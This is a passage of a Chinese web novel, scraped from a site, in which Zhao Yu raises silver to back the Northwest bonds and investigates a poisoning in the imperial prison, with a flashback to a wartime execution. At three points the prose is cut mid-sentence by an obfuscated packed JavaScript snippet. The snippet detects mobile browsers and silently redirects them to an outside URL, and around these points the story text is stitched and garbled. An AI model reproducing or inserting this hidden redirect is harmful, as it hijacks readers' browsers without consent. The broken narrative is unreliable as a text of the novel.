赵毓摇头,“利息比坊间最低的价格还要低三成,而且还钱的时间可延长。坊间一般是半年,一年,最多两年,我可以让他们按着五年,十年,二十年,甚至三十年来还钱。我想着,绮镇不能再到权贵手中,朝廷怎么也要有税可收;同时也不能再让人就这样数万亩数万亩的兼并土地,百姓也要有糊口的粮食,如果丰年,最好还有些结余。” 此时,崔珩神情有些冷淡,却隐着丝丝的玩味与不屑,“你那个姓名薛的朋友找人打听了一下,闹事的人背后有人,许诺了这些人闹,等事成之后就把羡云飞以北的土地全部分给他们。现在那些人以为天下掉下个大甜瓜,闹得非常凶,看样子不把你弄死,他们誓不罢休。承怡,你想要借给他们钱,把土地卖给他们,可是有人许了大愿,人家可以白拿那些土地。” 赵毓笑了笑,“那个大愿是空的,镜花水月;我能给予的,可是实打实的好处。” 崔珩,“一边是需要自己辛苦劳作,借钱买地,数年甚至数十年一点一点积攒还钱;一边是只要弄死你,大片土地白白到手。你想想,如果是你,你要怎么做?” 赵毓没说话。 崔珩,“子曰:民可使由之,不可使知之。就是因为同这些人没什么道理可讲。” 赵毓,“贪婪,这不就是人的本性吗?你我皆是。子曰:民可,使由之;不可,使知之。多说一句话,累不死。再说,想要弄死我,也并不容易。” 果然,赵毓回到兰叶巷的家中,他那个留园的大账房正在回廊下吃小烤饼。一个小泥炉上架着铁丝网架,上面翻动着小饼和肉丝,旁边两个小马扎,坐着的就是烧火的赵大叔和赵大妈。 大账房,“东家。” 赵大妈给了赵毓一块刚烤好的饼,里面裹了一条火腿丝。 “吃,说话也别耽搁吃东西。”赵毓蹲在台阶上,像个真正的宁州农民那样,塌着身子,一口一口咬着烤饼,“绮镇的事情我大概知道了,咱们的人有事吗?” “没。”大账房看起来傻傻的,其实是傻奸傻奸的,“我当时一看情况不对,让咱们的人先从绮镇出来。” “好。”赵毓嚼了嚼火腿丝,“让他们先回雍京。这次的事情一时半会儿完不了。” “是。”大账房赶紧答应,“只是,……” 赵毓吃完了烤饼,大账房也挪到了赵毓身边,“东家,我听说了那封债票的事,如果绮镇的土地我们不出手,哪里来的大笔银子给人家兑现银?” 赵毓感觉有些奇怪,“西北道债票兑现银的事情,你怎么知道?” 大账房,“东家还不知道?雍京地面上,凡是能碰到大笔现银的人,不管是十三行,还是晋中票号,或者是徽州钱庄,他们都知道这件事。还有,坊间也在传,十三行的现银本来能给西北道做过桥债,结果,他们的船被拦在山东。我来兰叶巷之前得了信儿,十三行的船倒是放行了,但是过直隶到雍京,没个五、六天是不成的,如果西北道等这笔银子兑银,估计到时候黄瓜菜都凉了。” 赵毓,“黄花菜。” 大账房,“啥?” 赵毓,“凉的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵毓也起来,披好了衣袍,端过来茶盏,慢慢喝水。 文湛翻动书页,忽然问了一句,“你缺银子,需要多少?” 赵毓摇头,“我不能动户部的存银。” 文湛,“没让你动户部的存银,大正宫有内库,你要多少?” 赵毓还是摇头,“金花银更不能动。” 文湛放下书。 赵毓解释道,“我知道南边的金花银到了,那些是用来给武官们发放饷银,银锭形状特殊,并且上有特殊花纹的钢印,在市面上一出现就是大|麻烦。” 文湛,“不是金花银,先帝给皇室内库留下三千万两白银,我这些年也攒了两千万,这些没有钢印,可以用吗?” 赵毓仔细想了想,还是摇头,“不成,那些白银都是高纯度的银锭,和市面上所有的银锭都不一样。那是最后的家底了,要是外虏破了居庸关,流寇打进雍京城,这五千万两就是最后调兵用的饷银。这些好东西一流到外面,明眼人没准以为咱们大郑朝廷要关门大吉了。” 文湛,“不兑,可以吗?” 赵毓看着自己的茶盏出神,良久才说,“我记得,当年先帝要灭高昌的时候,内阁有人劝过,说,兵者不祥之器,非君子之器,不得已而用之。但是先帝还是让裴檀带兵出征了。裴檀誓师之前,先帝曾经对我说过,兵者,未必不详。武有七德:禁暴、戢兵、保大、定功、安民、和众、丰财。王师并非征伐无因,那次出征也是为了保境安民。可是,……” “等我真正到了西疆,……,这十年,……,真正留下了什么?” “一片焦土。” 赵毓,“我想我这十年,唯一做了一件对的事情,就是西北道可以发债票的这块招牌。它可以破开时间的限制,寅吃牟粮,向明年、后年,甚至五年后、十年后拿钱,做今天的事情,靠的就是不灭的信用。” “周熙的十三行财雄势大,但是他只能将白银变成权力;可是西北道这道招牌,可以将负债,将信用变成白银。从虚无变出财富,源源不断。” “所以,无论越筝做了什么,现银一定要兑,就是因为这道招牌绝对不能倒。” 闻言,文湛安静的继续看书。 赵毓看见他翻过了书页,上面是杜牧的诗句: 南朝四百八十寺,多少楼台烟雨中。 58. 58 58 崔珩看着梁十一忙碌到焦头烂额,他只是坐在旁边安静的喝茶。 大长老是重要人证,同时也是重要人犯,就这样悄无声息,莫名其妙的死在诏狱,简直就是缇骑的奇耻大辱与不可赦之罪! 不过。 这些对于他崔珩来说,不是正中下怀吗? 大长老拉摩提是怎么死的,这些已经查明,但是,更重要更危险的事情还是未知的,——究竟是谁杀了他? 他人,或者就是大长老本人? 此时,梁十一看着对面坐着的崔珩,正在用盖碗娴熟的喝茶。 “你不用看我,梁大人。”崔珩淡淡说着,“我有密旨,虽然不能明示,但是,我相信你知道我没有说谎。你看,为了做事情,我今天早朝都没有去天承殿。我在这里做过的所有事情圣上终究会知道。” 梁十一,“侯爷做过什么了?也请明示。” 崔珩,“看着。” 这几天,凡是接触过大长老的人,无论是审讯他的缇骑旗官,还是看管他的诏狱狱卒,或者是送水送饭的仆从,一律给严加问询,梁十一甚至还吩咐用了刑罚。当然,首先倒霉的仆从,其次才是狱卒,至于他们缇骑的旗官是否也会被杖责鞭打,只有静观事态变化,目前他可不想对“自己人”动手。 崔珩忽然开口,“梁大人,如果这些仆从和狱卒都打废了,却依然找不到蛛丝马迹,你会对你这些忠心耿耿的兄弟下手吗?” 梁十一像是没有听见,并无回答。 世间的官员惧怕缇骑,因为他们直接隶属皇帝,除了每人身上具有或多或少的不可对人言的事情之外,还有一点,就是缇骑拥有直接面圣密奏的权力,这才是至关重要的。但是,他们对于同样拥有直接面圣密奏权力的宁淮侯崔珩,这些优势就荡然无存,更何况,梁十一还听说崔珩身上还背着一个“外戚”的名头。 如今大正宫中没有皇后,而后宫之中位分最高的女子就是先帝贵妃崔氏,也就眼前这位崔姓三等候的亲姑姑,同时,也是那位身份飘忽不定的前祈王的亲表哥。 仔细看,崔珩同赵毓的脸甚至还有一两分的相似,崔珩才是真正的京师权贵,圣上的亲信。 帝王的鹰犬与帝王的贵戚,谁亲谁远,孰轻孰重? 大正宫,寿春宫。 ——“等我回来,我带你去空镜寺。” 文湛留下这样一句话,就穿上整套朝服,戴上十二道白玉珠的冕旒,去天承殿上早朝去了,那个时候,距离天光大亮还有多半个时辰。 ——难道,我真的落魄到要去找和尚们化缘要钱的地步? 在赵毓心中,和尚因为需要化缘,所以多么佛法无边的高僧大德都类似于乞丐。找和尚化缘,就类似于找乞丐要饭,这严重打击了赵毓原本坚固如同雍京城墙一般的自尊心。于是,他一面胡思乱想,想要维护他那似乎早就不存在的自尊心,一面心不在焉的吃着早饭。 最近他八字不对,糟烂事情颇多,难得过来寿春宫陪他老娘和闺女吃一顿饭,所以他极其尽心尽力。看着八宝桌面上的好东西,他都夹一筷子放在闺女赵格非的碗中,不一会儿,名门闺秀赵格非的碗中就堆起来像小山一般的麋肉醉鱼以及甜酒糟鸡,最后,上面还盘旋着一只极其腐|败的大鸡腿!就在赵毓还想给赵格非的碗中夹上一块东坡肉的时候,他的筷子被太贵妃打掉了。 “有你这么喂孩子的吗?”太贵妃将赵格非碗中的东西一点一点夹走,“闺女都吃不下了,你还强喂!” 赵毓有些意外,“啊?闺女,你吃饱了,咋不说?” 赵格非看了看他,张了张嘴,没出声。 太贵妃,“食不言。还有,长者赐,不应辞。这些都是规矩,格非懂,你怎么不懂?” 赵毓把格非碗里吃不下的东西统统夹回自己碗中,“我们没这规矩。我们爷俩在家吃饭的时候从来都是有啥说啥,吃的下就多吃,吃不下就放下碗筷出去跑一圈去。再说,亲娘,您这简直就是脱了裤子放屁,这里没外人,您,……,哎呦!” 赵毓被太贵妃揍了一巴掌,在肩膀头上。 太贵妃面对赵格非,谆谆教导,“你爹小的时候,先帝宠的太过了,所以规矩都没学会,格非,你别学他。” “拉倒吧,亲娘。”赵毓不以为然,“你咋不实话实说?当年先皇后在后宫只手遮天,你一个冉庄的妇人,不懂那些精巧的规矩,也不懂规矩,为了躲避先皇后的锋芒,咱娘俩装傻充愣才能活下去。等过了几年,先帝想起来我,我都懂事了,再学规矩也晚了。那些规矩都是给外面人看的,现在咱们老赵家门里就咱娘仨,吃饭的时候还装腔作势,也不嫌累?我看娘您就是自己在后宫憋的,总是见一些不三不四的人,吃一些不干不净的东西,说一些不痛不痒的话,学了一些莫名其妙的东西,要不我怎么说您脱裤子放屁呢?哎呦!~~~~~~~” 赵毓被太贵妃揍了一巴掌,在脑袋壳子上。 吃完早饭,寿春宫的宫人捧过来香茶,太贵妃早上要去礼佛,她去花园后面的佛堂了。 “咦,我娘不是信道教和八卦了吗,怎么今天又开始礼佛了?奇怪。”赵毓端着茶盏喝了一口,他看着赵格非,“闺女,和你说件事儿。” “亲爹,别这么看着我。”赵格非此时才能放松下来。 赵毓,“我最近缺钱。” 赵格非,“您是要把我抵押借贷?” 赵毓,“……” 闻言,他摸了摸心口。 赵毓本来想要找一找自己的自尊心还剩下多少,结果忽然发现,早上动了找和尚化缘去的想法已经把他的自尊心扫荡成一地鸡毛。 赵毓,“闺女,我怎么给了你这么一个印象?我是那种穷疯了就卖儿鬻女的人吗?” “当然不是!”赵格非连忙安慰他,“亲爹是世上最好的爹!我只是不知道您缺钱了为什么对我说?” 赵格非知道他爹家底雄厚,小的时候,她听娘说的。 这么多年,她们云中的亲戚,还有她都不知道她亲爹的身份,只知道赵毓是个没落王孙、罪臣之子,虽然不是毫无立锥之地的草民百姓,但是像她亲爹这样毫无仕途可言的男人,原本是在官宦家族的地位堪比贱|民。 云中尹家,人多,口多,房头多,她有几位表亲,他们都的亲爹没有仕途,一个一个的都小心翼翼的活着。 这些年,赵格非在云中外祖父家住,吃香的喝辣的,家族中所有亲戚对她都高看三分,除了她亲娘是“西北王”尹明扬的掌上明珠之外,还是因为她爹硬气,出手阔绰。 赵格非上次看到她爹摆弄这一把叶子牌一般的房契,她知道,就算她爹缺钱,出的事情,也不是她能弥补与挽回的。 赵毓从袖子里面扒拉出一块和田玉的玉雕,赵格非仔细看,也看不出个所以然来,她只是觉得这个玉雕前头是个在发愁的人脸。 赵毓说,“你去一趟兰叶巷家中,把我床底下那个木箱子拿上,再去南城,找留园的大掌柜。上次你们见过,他认得你,把我这个信物给他,他就知道了。我再让黄枞菖找几个人陪着你一起去,稳妥一些。” “好。”赵格非接过这个发愁人脸的玉雕,“亲爹让我做什么?” 赵毓,“木箱子中是我所有的宅子地契,留园那边还有一些别的地契,有雍京城、西北甘州的一些铺面,还有南方的一个庄子,你让大掌柜把所有的地契都拿着,去长生、德寿、福康三家典当铺,典地契,换现银。能换多少,就换多少。我要五十两一锭的足纹,全部使用雍京铸银局的官锭。这三个典当铺背后是徽郡王,吏部左侍郎梅凤磐,还有绛候周琅琊。徽郡王和黄枞菖是酒友;周琅琊一直想要我在雍京城的那几个院子;至于那个梅凤磐嘛,他亲爹是山西盐商,他舅舅就是王崇明,曾经在你外祖父在西北任总督的时候出任右佥都御史,巡抚宁夏,他们关系还不错,这次的事情,应该能帮忙。” “好。”赵格非点头。 赵毓又说,“闺女,这些本来都是你的嫁妆,等过了这个关,一切好说,要是有什么不好的事情发生,我再给你挣。” 赵格非摸了摸这个玉雕,“亲爹,娘说过,一家人在一起,粗茶淡饭也香甜。再说,……”她回头,望了望寿春宫顶上的黑色琉璃瓦,“实在不成,我就勉为其难的在祖母这里混饭吃好了。我听说,祖母一年有五万两白银的俸禄,堪比王公,我们爷俩只要没志气,绝对饿不死。” 赵毓听着就乐了,“你在这里跟你奶奶再住几天,外面乱,我事多,不敢把你放外面。这里虽然无聊,但是安全。至于那个老太太,她要是想要说几句,你就让着她。谁让我大郑以孝治天下,你看看,你爹我,这不也得挨巴掌吗?” 赵格非,“……” 她其实想要说,——亲爹,您要是跟我学学,乖不乖都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728916|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装一装,绝对挨不了打。 可是还没开口,就听见背后太贵妃一声母狮子吼,——“小兔崽子,背后编排你老娘什么?” 此时,一个缂丝拖鞋隔空从寿春宫飞了出来,正打在赵毓的左脸蛋子上,登时,他秀气的面孔歪了。 赵格非忍了忍,最终还是安慰他,“亲爹,不管怎么说,祖母娘娘打您的拖鞋都是缂丝的,……,贡品,至少,……,比用草鞋打您显得高贵一些,对吧,……” 赵毓,“……” 诏狱。 一个被打断腿骨的狱卒实在熬不住,开口了。 “有人给了我一块这个,让我半夜打开那个西疆蛮子的牢房,让他进去。” 他哆哆嗦嗦从怀中掏出一块白玉牌。 梁十一仔细看了看,随即将这块白玉牌给崔珩,他拿过去,连看也不看,就在手中摸了一下,眉毛忽然皱了起来。 “侯爷,怎么?” “给我表弟看看。” 梁十一见他这个样子,着人去请赵毓,大约三炷香的功夫,赵毓就来了。原来在寿春宫吃过饭就向诏狱这边走,两边的人正好撞上。 赵毓从崔珩手中接过白玉牌,手指轻抚,没有说话。 崔珩,“上等的羊脂白玉,雕刻了五毒之虫。这么好的籽料,你一定要亲眼看看。” 赵毓见过这块玉牌。 当年征西大将军李钧麒秉承“西北战事紧急,后方军粮难以为继,需沿途筹措为上”的要略,在出征沿途对百姓不分敌我的横征暴敛。他的军队走一路,一路哀鸿遍野。最后,他本人被斩首。 赵毓接手李钧麒余部之后,曾经严厉吩咐过:军饷由他去筹措,军粮由甘宁总督调配,要是再出现向百姓“沿途筹措军粮”的事情,杀无赦! 这一道令下,军纪大为改善。当军队严格约束住自己,战争的阻力立刻减少,再加上赵毓真有银子,水一样的泼洒,这些人在战场上奋不顾身,就为了能多挣一分是一分。 可是,总有人自持功高而年轻主帅的话置若罔闻。 李钧麒副将景厝攻破叶尔羌城之后,纵马十日。叶尔羌城自古就是西疆诸国往来大郑的重镇,记录在册的人口约五万,如果再加上往来的域外客商,叶城人口则超过二十万!叶城财货丰饶,熙熙攘攘,景厝去过之后,昔日重镇立刻成为断壁颓垣,孤鹜弱息,活下来的人也都面无人色,呻|吟垂毙。 景厝被赵毓的人从一个不足十四岁的少女肚皮上拉起来。 他衣冠不整,却桀骜不驯。 “你不敢杀我!”景厝颇为不屑的看着赵毓,“我有破城的战功,你有什么?” 当着所有骄兵悍将的面,赵毓一言不发。 此时,日落叶尔羌河,不远处,尹氏九部将士已经准备庆功。他们将从河水中捕来的鱼用红柳枝穿好,一排一排插|在沙土上,前面挖开了大坑,推入木炭。焚烧的火慢慢烤着鲜嫩的鱼肉,香气四下漫开。周围没有风,烟火则如同镐川之水滚滚而起,直冲天际! 夜幕垂下。 赵毓左手握住长刀,喷了一口烈酒在锋刃上。他的人将景厝踢碎了膝骨,跪在众人面前。 “违背军令,杀无赦。”他的声音极轻,就像那个劫后余生的被摧残少女纤细的嗓音,发出的哭泣。 赵毓手起刀落! 利刃切过血肉,砍碎了架着大好头颅的肩骨端部。 那不是赵毓第一次杀人,只是不知道为什么,他记的特别清楚,一直到多年后,他还记得鲜红色的血,滑腻的肉,还有细碎的骨头碴喷到手上的黏稠的触觉。 一颗人口落地。 而,随着景厝人头落地的,还有一块玉佩。——上等的羊脂白玉,雕刻了五毒之虫。 崔珩问他,“你,认识这块玉?” 赵毓点头,“当年征西大将军副将景厝的玉佩。他战死之后,我亲手把玉佩给了他幼弟,景沢。” 崔珩,“哦,还有个弟弟。” 赵毓,“是。” 崔珩,“再见面,你还能认出他来吗?” 赵毓,“当年我见景沢的时候,他才九岁,这一晃,十年过去了。孩子变得多,我应该认不出他来了。不过,……” 崔珩,“什么?” 赵毓,“他认得我。” 崔珩,“你想守株待兔?” 赵毓,“不,我想围城打援。” 59. 59 59 “围城打援?……守住敌军的城池,打击他们的援军。”崔珩一点头,“好,我知道了。除了景沢这个幼弟,他还有其他家人吗?” 赵毓,“景庴有遗孀,也有一个女儿,今年应该十三、四岁。” 崔珩,“有家人就好,这些人就是筹码。这个景庴的家乡在哪里?虽然说现在调人过去已经有些晚了,不过聊胜于无。” 赵毓却说,“应该不晚。景宅就在雍京,西城的翠叶巷。” 梁十一命令手下领一队缇骑人马去西城。 可是,等这些人出发之后,崔珩拿出手中一副令牌调兵。他调动的却是雪鹰骑,这是当今皇帝做东宫时候培养的私兵,如今只听命于当今天子。 梁十一双眼看着崔珩。 此时,崔珩极度认真的再问赵毓,“我们需要围住的城池在哪里?” 梁十一很是莫名,他却听见赵毓的声音,“雍京北城天泽巷。那里有一个小院子,挂着‘秦宅’的牌子,那里住着景庴的老母,当年他父亲给他聘的贵妾,还有一个儿子。” …… 薛宣平坐在西北道的花厅中,看着打扮精悍却一言不发的伙计们一箱子一箱子向讲武堂抬银子。 ——萧老大还有几位当家的叔伯们的棺材本都在这里了吧。 “今天我算是长见识了。”薛宣平摇着头,手中稳稳端着三才碗,刮着三炮台,“这银子真是如同流水一般淌过。怪不得你们几个那么横,平时走路都横行霸道,现在这么看,果真是手中有粮,心中不慌。” 他正嘀咕着,就看见管家引着一个半大的丫头进来,她身后也是一队人,正抬着箱子向里走。 薛宣平瞄了一眼。 这个姑娘也就十三四岁的样子,看着挺清秀,要说多好看,这么大的丫头也看不出来,就是看着有些说不出的熟悉。还有,因为她的年纪不够及笄,所以头发梳成了一个清蒸狮子头,只是丸子发髻周围用金丝依次垂着四颗桂圆大的珍珠,又圆又润,颜色不同平时常见的珠子那般白皙,而是发着淡淡的金晕。 薛宣平认得这几颗珍珠!——南洋金珠。 去年岭南的陈宝金来雍京,专门带了十颗金珠过来,其中四颗被赵毓买走了,当时的价格是一颗珍珠三千两白银,老陈同赵毓有旧交情,算了他一个友情价,——一颗二千五百两,四颗,一共白银一万两。 他知道这个姑娘是谁了。 ——赵毓的女儿、“西北王”尹明扬的外孙女,赵府女公子,格非。 薛宣平知道赵毓曾经有过家室,只是妻子福薄,七八年前就过世了,身后只留了一个女儿。西北道这些人不会天真到以为赵毓很快会续弦,毕竟“西北王”尹家对他在西北用兵有大大的助益,如果翻脸,那么尹家也会成为大大的阻碍。只是,他们原本以为赵毓至少会纳妾生子,因为西北道这几位说得上话的大佬们,哪一个不是身家丰厚,珠翠环绕,儿女成群?可是,赵毓却是硬生生的不一样。他愣是守着这个不能传宗接代的姑娘安安分分的过日子。 不对! 赵毓并不安分! 这不,最近他就和一个长的如同深渊宝藏一般的小白脸不清不楚。 虽然赵毓一直没有对他们说明白这个小白脸是谁,但是,他们之间的不清不楚绝对瞒不过他薛宣平这一双慧眼! 那个小白脸不是出身翰林院的酸文假醋,就是出身勋贵家族的败家子,仅仅凭着一张脸把老赵那个没出息的迷的五迷三道。 不过,…… 薛宣平又在心中嘀咕: ——老赵那个人贼精贼精,插了一根尾巴就是猴!他怎么能被一个一无是处的小白脸迷的七荤八素呢? 薛宣平一边胡思乱想,一边看着那边的赵格非。 这个姑娘口齿十分清晰,一箱子一箱子点报着白银的数量。 赵格非身后站着一个人,深色长衫,长的不错,就是看起来有些半男不女的,正一瞬不瞬的看着她。 赵家姑娘做事,做对了,他仅仅是点头,错一点,他会立刻轻声指出。 此人,薛宣平从来没有见过,却看得出来,这个人应该是赵毓的心腹。 “现银三十万两。”赵格非清晰的说道,“请萧府管家爷爷清点完毕,给我写个回执。” “这是自然。”西北道的管家连忙点头,“只是,下人们清点还需一些时辰,赵姑娘花厅坐,刮碗西北的盖碗茶吧。茶中有红枣桂圆葡萄干,甜丝丝的,你父亲也爱喝。” 赵格非没回答,却先询问了身后的那个看上去极其文秀的不太像个男人的人,“黄瓜叔叔?” 黄枞菖左右看了看,感觉这里似乎安全,于是微微点头,“好的。” 赵毓本来想要黄枞菖找几个人陪赵格非出来,但是黄枞菖怎么也不放心,他自己亲自带人送赵格非去长生、德寿、福康三家典当铺典押地契,随后,他也随着赵格非将兑换的现银送来西北道在雍京的讲武堂。 现在尹家大少爷生死未卜,要是赵格非再出一点点意外,黄枞菖怕赵毓要疯。 赵格非同黄枞菖也坐在花厅中。 丫鬟端来两个三才碗,里面是冲泡好的三炮台。 赵格非看了看薛宣平,微微点头,算是打招呼。 薛宣平想了想,把手中的茶碗放一边,忽然开口,“我认得你爹。” 黄枞菖接话,“我爹坟头的青草都比你高了,你哪辈子认得我爹?” 薛宣平,“……” 闻言,赵格非连忙打圆场,“黄瓜叔叔不要急,这位先生说的应该是我爹。” 薛宣平连忙说,“对,对,对!姑娘,你爹同我是过命的好弟兄,我们在西北好到要穿同一条裤子喽!我叫薛宣平,老薛。你爹一定总是提起我的大名吧!哈哈,姑娘,你是不是听着耳朵都起茧子了?” 赵格非张了张嘴,黄枞菖拿着盖碗的盖子,正在那里慢条斯理的刮红枣。 随后,赵格非想了半天措辞,说了一句,“这位先生,我父亲从来没有对我提过一位姓薛的朋友,也许,您认错人了,……” 薛宣平,“……” 此时,天空中一行大雁飞过,一会儿排成一个雷字,一会儿排成一个劈字。 此间无语。 这三人在沉默中刮了三碗茶水,忽然,外面一个伙计喊了一嗓子,“十三行现银到!白银三十万两!” “十三行?” 薛宣平听着一惊,丫鬟新给他续的热水飞溅在他手指上,他手指一哆嗦,碗盖掉地,碎了一地。 “不好,我得去找老赵。” 黄枞菖一把揪住他,“出了什么事?” “有你什么事?”薛宣平想要扯掉黄枞菖的手指,却发现,这个半男不女的力气不小。 黄枞菖说,“我是赵毓的家臣。” 薛宣平疑惑,“家臣?” 诸侯王公的部属才是‘家臣’,一般老百姓即使再富贵,能买来伺候自己的帮手也只是‘下人’。 黄枞菖不予同他理论这些,“十三行怎么了?” “怎么,老赵不知道?”薛宣平说,“我们西北道这些大佬们把棺材本都拿了出来,就是因为出大事了。” 黄枞菖耐着性子听。 薛宣平也不卖关子,直接说,“雍京的银价涨了四成!十三行遭挤兑,那些债主快要把周熙的茶庄、钱庄拆成平地啦!这种时候,他们手中的一两白银都是命,怎么还有几十万两银子拿来给西北道?简直疯了!” 缇骑在西城翠叶巷扑了个空,而雪鹰旗却在北城天泽巷堵了个满堂红。 景庴小老婆生的儿子今天做生辰。他才十岁,虽然说这么小的孩子做生辰不好,但是他亲妈外加老太太都宠,所以这孩子穿着绫罗绸缎,吃的红光满面,正好,雪鹰旗一下子把这孩子扯回了诏狱,连入监牢的第一顿酒菜都省了。 “他亲妈呢?”崔珩在木栅栏外面看着这孩子哭。 雪鹰旗一个校官回复,“原地关押。” “哭成这个样子,别一会儿抽筋。去!”崔珩轻声吩咐,“让人把这孩子的亲妈也带过来,娘俩在一起,总归有个照应。” 他这话音未落,景庴小老婆生的儿子立刻不哭了,一双眼睛直勾勾的看着崔珩。 崔珩对着孩子这个圆滚滚的脸蛋,仔细相面,——景沢十九岁,他是这孩子的亲叔叔,样貌,应该有几分相似呢? 虽然诏狱有着“狱禁森严,水火不入,疫疠之气,充斥囹圄”的昭著臭名,但是它却拥有一个宁静致远的院子。 松柏桑桑,青砖条条,苔藓茵茵。 赵毓坐在一条青石栏杆上,双眼垂下,不知道在想什么。 “赵先生。”梁十一出声,“北城天泽巷的事,……” 赵毓抬头。 梁十一,“是否太过顺利?” 的确。 在诏狱被毒死一个极重要的人犯,高昌大长老拉摩提;随后,几场刑罚下来,就问出来一个玉牌;再然后,西城翠叶巷虚晃一枪,而北城天泽巷却收获极丰。 太过顺利,是否就是一个陷阱? 赵毓点头,“我也在想这个事情,不过,围住景家那个孩子,是我们目前唯一能做的。” 他现在如堕迷雾。 脚下道路几何,身边刀丛几何,友人几何,敌人几何,俱是未知。 赵毓知道,自己所能做的,只能是一步一步挪。 崔珩对着这个孩子相面,这个孩子不看他,却也不哭了,只是双手抱膝,坐在干草中发呆。崔珩让人拿了一包麦芽糖熬制的花生酥糖给孩子吃。 “在这里呆几天。”崔珩拍了拍手掌,“事情一了,就送你走。” 那个孩子听见他的话,忽然抬头,冲着他咧嘴一笑。崔珩忽然有些头皮发麻。他连忙从牢狱中出来,看见外面一个从七品小旗官慌乱跑进来,在梁十一耳边说了一句什么,随后,梁镇抚使的脸色如同白蜡塑出的人像。 赵毓从青石栏杆上站起来,“有多糟糕?” 梁十一,“守住西城翠叶巷的十三个小旗,尽数被杀。” 崔珩一步一步走到青石栏杆旁,“承怡,我怀疑我们抓的人是假的。他应该不是景厝的儿子。” 赵毓见过幼年时代的景沢,所以即使这个人从九岁到十九岁变化巨大,他感觉自己依稀能辨认出一些蛛丝马迹。 但是,他并没有见过景庴这个号称遗腹子的儿子。 所以,即使现在他们隔着诏狱的木栅栏面对面,赵毓也无法分辨这个孩子是真还是假。 此时,这个小孩子就安静的窝在干草堆中,像个被遗弃的幼崽。 “你什么觉得这个景庴的儿子是假的?” 面对赵毓的疑问,崔珩很难用准确的语言叙述出来。 难道说,刚才这个孩子过于镇定的安静;还是说,刚才他面对自己时候露出的那个笑脸? 崔珩命人将北城天泽巷‘秦宅’中所有人带回诏狱。 赵毓给崔珩写了几个名字,“这些人曾经是西北军,目前是裴檀的部属,他们曾经见过景庴家人。有些在雍京,有些不在,看运气,谁方便过来就让他们过来诏狱。认人。” 大约半个多时辰,缇骑带过来一个人。 赵毓一抬眼,居然是西北道老大萧呈的儿子萧则! 其实他写上‘萧则’这个名字只不过凑个数。赵毓原本想着,西北军调入裴檀部的人有几个,如果有别人最好叫别人过来,万一谁都不成,那么必须有人过来,萧则就是最后那个兜底的。所以这个名字赵毓写在纸笺的最后。可是他没想到,先过来的人居然是萧则。 梁十一说道,“这位是京畿羽林卫的参将,萧则。” 北镇抚司的镇抚使是正三品,而萧则是正五品的武将,梁十一面对他自然是上官。 崔珩,……,他则是敕封的三等侯爵,超一品,这样的爵位只授与皇亲国戚与极少数功臣,而这位崔侯爷则是来路不明的‘外戚’与铁血战功的勋贵,面对萧则自然也是上官。 只是,赵毓,……,这位前亲王就是个坑。 如果他的身份光明正大,他就不会隐姓埋名这么多年。 可是,如果他目前的身份犹如过街老鼠,那么,他也不会如此坦荡的出现在诏狱甚至是内廷。 不管怎么说,赵毓终究是庶民。 却,是写下名单,让缇骑召来萧则的人。 萧则在诏狱看见赵毓感觉更震惊! 诏狱,鬼门关。 他最先想到的是赵毓是否有危险,手指下意识的摸了摸腰间的悬剑,他看见赵毓冲着微微摇头,他这才松开了剑柄。 “崔侯爷,梁镇抚使。” 萧则面对二人依次见礼,显而易见,他认识崔珩。 崔珩自诩看人过目不忘,但是对于萧则这个的人居然没有什么印象,“你认得我?” 萧则,“下官认得您的衣服。” 崔珩低头瞄了一眼自己的衣袍,他今天并没有穿戴全套朝服,却也身着紫色锦袍绣九蟒,衣襟底部江崖海水纹。 “好。”崔珩对萧则说,“既然你眼中有人,心中定然也有。过来,见几个人,看你是否认得?” 他向前走,引着萧则进牢狱。 萧则见赵毓也跟随,连忙过去低声打了招呼,“赵叔,您怎么在这里?” 赵毓则说,“小孩没娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728917|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说来话长。” 萧则等了等,发现赵毓没再说别的,他这才确信:这个孩子的娘估计就算是彻底的没了。赵毓虽然语焉不详,但是他的解释到此为止了。 赵毓则问,“你呢?缇骑他们怎么找的你?” 萧则,“我们是在兰叶巷遇到的,我过去找您,没想到他们顺着那条路过来。其中一人是我后街的邻居,认得我,就让我过来了。” 赵毓,“你找我?出了什么事?”随即,他看了看,所有人已经到了围住人的木栅栏前面,“一会儿再说,你先认几个人。这些人,是当年西北副将景庴的老母,如夫人,儿子,还有他的其他家人吗?” 满牢的老幼病残,哭爹喊娘的。 狱卒举着气死风灯,萧则认真看了看,回头告诉赵毓,“那位老妇人确定就是景庴的母亲,这位妇人,也是他的妾,这个孩子,……,年纪差不多,应该就是景副将的遗腹子。” 闻言,崔珩心中那些怀疑似乎都落到了实处,他将赵毓拉到一旁,“我知道了,这个儿子是假的。” 赵毓没说话。 高手说谎并不是云山雾罩,而是说十句话,九句半是真,只有最关键的那半句是假。 眼前这个局也是。 高手布局,并不一定全部是陷阱,也许赵毓他们得到十分,九分半是实打实的好处,却是诱饵,外面涂抹着蜂蜜,而最后那半分是捕捉野兽的夹子,带着刀刃。景家这些人,就算全部都是真的,也是为了掩盖景氏命根子是假这个事实。 崔珩本人就是说谎的高手。 